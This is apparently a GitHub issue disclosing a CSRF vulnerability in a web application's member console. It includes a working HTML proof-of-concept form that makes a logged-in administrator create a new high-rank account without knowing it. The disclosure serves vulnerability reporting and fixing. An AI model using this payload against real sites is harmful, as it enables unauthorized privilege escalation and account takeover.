Skip to content

There is one CSRF vulnerability that can add the High Rank account  #27

@rebootORZ

Description

@rebootORZ

After the administrator logged in, open the following one page
one.html add a High Rank account.

<!DOCTYPE html>
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://127.0.0.1/members/console.php?cID=5" method="POST">
      <input type="hidden" name="newmember" value="test2" />
      <input type="hidden" name="password" value="123456" />
      <input type="hidden" name="password2" value="123456" />
      <input type="hidden" name="set&#95;rank" value="41" />
      <input type="hidden" name="submit" value="Add&#32;New&#32;Member" />
      <input type="hidden" name="checkCSRF" value="034afa58abf045d046ce7dba7b1b125e" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions